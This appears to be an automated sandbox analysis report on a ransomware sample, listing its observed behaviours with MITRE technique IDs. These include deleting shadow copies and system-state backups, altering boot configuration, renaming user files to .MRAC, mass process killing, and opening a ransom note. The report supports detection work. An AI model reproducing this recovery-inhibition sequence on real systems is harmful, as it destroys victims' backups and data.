768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91

General

Target

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Size

338KB
MD5

b99ce03482978a861c883bb772be3b25
SHA1

84ecf8f8b0de2dbb3df4b99766a84143e49eaa00
SHA256

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91
SHA512

a9261830ed6a6c93fcd6fd7c8483d917f2b4235bc9dd586eac9d10bdb6ca2872c6101ea512ecc2abc176a60afa576aa0856db25c66bc29bf81fe2a11c94875c1

Score

9^/10

evasion ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

4036 bcdedit.exe
4056 bcdedit.exe
Deletes System State backups 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
ransomware

Command-Line Interface
T1059

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

wbadmin.exewbadmin.exe

pid process

4076 wbadmin.exe
3124 wbadmin.exe

pid	process
4036	bcdedit.exe
4056	bcdedit.exe

pid	process
4076	wbadmin.exe
3124	wbadmin.exe

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\PopInitialize.tiff	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\PopInitialize.tiff => C:\Users\Admin\Pictures\PopInitialize.tiff.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\RequestClear.tif => C:\Users\Admin\Pictures\RequestClear.tif.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\CopySkip.png => C:\Users\Admin\Pictures\CopySkip.png.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\ExitExport.tif => C:\Users\Admin\Pictures\ExitExport.tif.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe

Deletes itself 1 IoCs

Processes:

Cmd.exe

pid process

232 Cmd.exe

pid	process
232	Cmd.exe

Drops file in Windows directory 6 IoCs

Processes:

wbadmin.exewbadmin.exe

description	ioc	process
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.1.etl	wbadmin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exe

pid process

3808 vssadmin.exe
3996 vssadmin.exe

pid	process
3808	vssadmin.exe
3996	vssadmin.exe

Kills process with taskkill 45 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
3640	taskkill.exe
2324	taskkill.exe
3208	taskkill.exe
3352	taskkill.exe
3520	taskkill.exe
3688	taskkill.exe
2220	taskkill.exe
2788	taskkill.exe
3256	taskkill.exe
3616	taskkill.exe
3760	taskkill.exe
3136	taskkill.exe
3160	taskkill.exe
3232	taskkill.exe
3736	taskkill.exe
3712	taskkill.exe
3012	taskkill.exe
2528	taskkill.exe
3280	taskkill.exe
3664	taskkill.exe
2912	taskkill.exe
2716	taskkill.exe
3376	taskkill.exe
3424	taskkill.exe
3304	taskkill.exe
3448	taskkill.exe
3472	taskkill.exe
2384	taskkill.exe
2500	taskkill.exe
2252	taskkill.exe
3112	taskkill.exe
3088	taskkill.exe
3184	taskkill.exe
3400	taskkill.exe
3592	taskkill.exe
2928	taskkill.exe
2088	taskkill.exe
2464	taskkill.exe
2228	taskkill.exe
3568	taskkill.exe
3784	taskkill.exe
2660	taskkill.exe
3328	taskkill.exe
3496	taskkill.exe
3544	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeiexplore.exeiexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000029a8fa03d77d0143b95f148165a5bc92000000000200000000001066000000010000200000003e6d599e6813fa58e7c3cd3dd1e0110824f28e35030f65ada8157c95311aa40f000000000e80000000020000200000000cdaa15b3c1853ae44edffa1c25b1361ef3f13266758b2db39c8c1e22b022afc9000000091dc02dafd046d1c18bf633d02f8b01d2dc039700acc4295e1e5c012ba95807868be62f6b155eba2101f26e4862fc282701168c77c555641a2e12ad084a1046f91cd672016ebba77977b813f13859a4cf2b159e1cf347dfb665b55e12ddf3d01686ac4d0b5d64e2236a1f4aa64f6981cab655c37355f845a6da83c7720cf4a2f66c2bc22d04dc01d2d8ae91a4ff48a6d40000000449f645c389036e735d2e74881ab26077d6e71f6ee009d600ce00b315ca30d7be023de1bce241a27d8efdb7812c33e03d6d2c61109e5bb46d5a6ab30b1b81828	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000029a8fa03d77d0143b95f148165a5bc920000000002000000000010660000000100002000000088ec995522d1cce327244eefbca84def0503716e4cc958c45ac5cc5d2781e7d8000000000e8000000002000020000000ff2c85a107b8c8cb3e7e0e36aae61ac2d090a1216c74b10e05dfaaaf99c66aeb200000008d9f36cc0af387d913bea065f82078359127f335dc966bfbf8db4b3c08ae618e40000000b53deb5e515767b7474fdb0318b2f3a7f3cf02e90fd61b2704409b50c77bb2d3f57c438f2bcc819e09aca2d687f898a58825862e61358068c2f7714cfa4ae21f	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 80391d9f5afbd701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{C8AAB481-674D-11EC-AFF5-422B4DF990B1} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{C998BE01-674D-11EC-AFF5-422B4DF990B1} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{F7F2E461-674D-11EC-AFF5-422B4DF990B1} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe

Modifies registry class 13 IoCs

Processes:

rundll32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell\open\command\ = "%SystemRoot%\\system32\\NOTEPAD.EXE %1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\.MRAC	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\.MRAC\ = "MRAC_auto_file"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell\open	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell\edit	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell\edit\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell\edit\command\ = "%SystemRoot%\\system32\\NOTEPAD.EXE %1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell\open\command	rundll32.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

3340 NOTEPAD.EXE
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3828 PING.EXE

pid	process
3340	NOTEPAD.EXE

pid	process
3828	PING.EXE

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exevssvc.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeDebugPrivilege	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeDebugPrivilege	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeBackupPrivilege	3856	vssvc.exe
Token: SeRestorePrivilege	3856	vssvc.exe
Token: SeAuditPrivilege	3856	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3176	wmic.exe
Token: SeSecurityPrivilege	3176	wmic.exe
Token: SeTakeOwnershipPrivilege	3176	wmic.exe
Token: SeLoadDriverPrivilege	3176	wmic.exe
Token: SeSystemProfilePrivilege	3176	wmic.exe
Token: SeSystemtimePrivilege	3176	wmic.exe
Token: SeProfSingleProcessPrivilege	3176	wmic.exe
Token: SeIncBasePriorityPrivilege	3176	wmic.exe
Token: SeCreatePagefilePrivilege	3176	wmic.exe
Token: SeBackupPrivilege	3176	wmic.exe
Token: SeRestorePrivilege	3176	wmic.exe
Token: SeShutdownPrivilege	3176	wmic.exe
Token: SeDebugPrivilege	3176	wmic.exe
Token: SeSystemEnvironmentPrivilege	3176	wmic.exe
Token: SeRemoteShutdownPrivilege	3176	wmic.exe
Token: SeUndockPrivilege	3176	wmic.exe
Token: SeManageVolumePrivilege	3176	wmic.exe
Token: 33	3176	wmic.exe
Token: 34	3176	wmic.exe
Token: 35	3176	wmic.exe
Token: SeIncreaseQuotaPrivilege	3176	wmic.exe
Token: SeSecurityPrivilege	3176	wmic.exe
Token: SeTakeOwnershipPrivilege	3176	wmic.exe
Token: SeLoadDriverPrivilege	3176	wmic.exe
Token: SeSystemProfilePrivilege	3176	wmic.exe
Token: SeSystemtimePrivilege	3176	wmic.exe
Token: SeProfSingleProcessPrivilege	3176	wmic.exe
Token: SeIncBasePriorityPrivilege	3176	wmic.exe
Token: SeCreatePagefilePrivilege	3176	wmic.exe
Token: SeBackupPrivilege	3176	wmic.exe
Token: SeRestorePrivilege	3176	wmic.exe
Token: SeShutdownPrivilege	3176	wmic.exe
Token: SeDebugPrivilege	3176	wmic.exe
Token: SeSystemEnvironmentPrivilege	3176	wmic.exe
Token: SeRemoteShutdownPrivilege	3176	wmic.exe
Token: SeUndockPrivilege	3176	wmic.exe
Token: SeManageVolumePrivilege	3176	wmic.exe
Token: 33	3176	wmic.exe
Token: 34	3176	wmic.exe
Token: 35	3176	wmic.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

iexplore.exeiexplore.exeiexplore.exe

pid process

3416 iexplore.exe
3564 iexplore.exe
2012 iexplore.exe

Suspicious use of SetWindowsHookEx 22 IoCs

Processes:

iexplore.exeIEXPLORE.EXEiexplore.exeIEXPLORE.EXEiexplore.exeIEXPLORE.EXE

pid	process
3416	iexplore.exe
3416	iexplore.exe
3584	IEXPLORE.EXE
3584	IEXPLORE.EXE
3564	iexplore.exe
3564	iexplore.exe
3796	IEXPLORE.EXE
3796	IEXPLORE.EXE
3796	IEXPLORE.EXE
3796	IEXPLORE.EXE
3584	IEXPLORE.EXE
3584	IEXPLORE.EXE
2012	iexplore.exe
2012	iexplore.exe
1920	IEXPLORE.EXE
1920	IEXPLORE.EXE
1920	IEXPLORE.EXE
1920	IEXPLORE.EXE
1920	IEXPLORE.EXE
1920	IEXPLORE.EXE
1920	IEXPLORE.EXE
1920	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 964 wrote to memory of 1508	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 1508	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 1508	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 1508	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1508 wrote to memory of 820	1508	net.exe	net1.exe
PID 1508 wrote to memory of 820	1508	net.exe	net1.exe
PID 1508 wrote to memory of 820	1508	net.exe	net1.exe
PID 1508 wrote to memory of 820	1508	net.exe	net1.exe
PID 964 wrote to memory of 740	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 740	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 740	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 740	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 740 wrote to memory of 268	740	net.exe	net1.exe
PID 740 wrote to memory of 268	740	net.exe	net1.exe
PID 740 wrote to memory of 268	740	net.exe	net1.exe
PID 740 wrote to memory of 268	740	net.exe	net1.exe
PID 964 wrote to memory of 540	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 540	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 540	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 540	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 540 wrote to memory of 852	540	net.exe	net1.exe
PID 540 wrote to memory of 852	540	net.exe	net1.exe
PID 540 wrote to memory of 852	540	net.exe	net1.exe
PID 540 wrote to memory of 852	540	net.exe	net1.exe
PID 964 wrote to memory of 752	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 752	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 752	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 752	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 752 wrote to memory of 1464	752	net.exe	net1.exe
PID 752 wrote to memory of 1464	752	net.exe	net1.exe
PID 752 wrote to memory of 1464	752	net.exe	net1.exe
PID 752 wrote to memory of 1464	752	net.exe	net1.exe
PID 964 wrote to memory of 1124	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 1124	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 1124	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 1124	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1124 wrote to memory of 1896	1124	net.exe	net1.exe
PID 1124 wrote to memory of 1896	1124	net.exe	net1.exe
PID 1124 wrote to memory of 1896	1124	net.exe	net1.exe
PID 1124 wrote to memory of 1896	1124	net.exe	net1.exe
PID 964 wrote to memory of 296	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 296	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 296	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 296	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 296 wrote to memory of 1080	296	net.exe	net1.exe
PID 296 wrote to memory of 1080	296	net.exe	net1.exe
PID 296 wrote to memory of 1080	296	net.exe	net1.exe
PID 296 wrote to memory of 1080	296	net.exe	net1.exe
PID 964 wrote to memory of 1064	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 1064	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 1064	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 1064	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1064 wrote to memory of 1456	1064	net.exe	net1.exe
PID 1064 wrote to memory of 1456	1064	net.exe	net1.exe
PID 1064 wrote to memory of 1456	1064	net.exe	net1.exe
PID 1064 wrote to memory of 1456	1064	net.exe	net1.exe
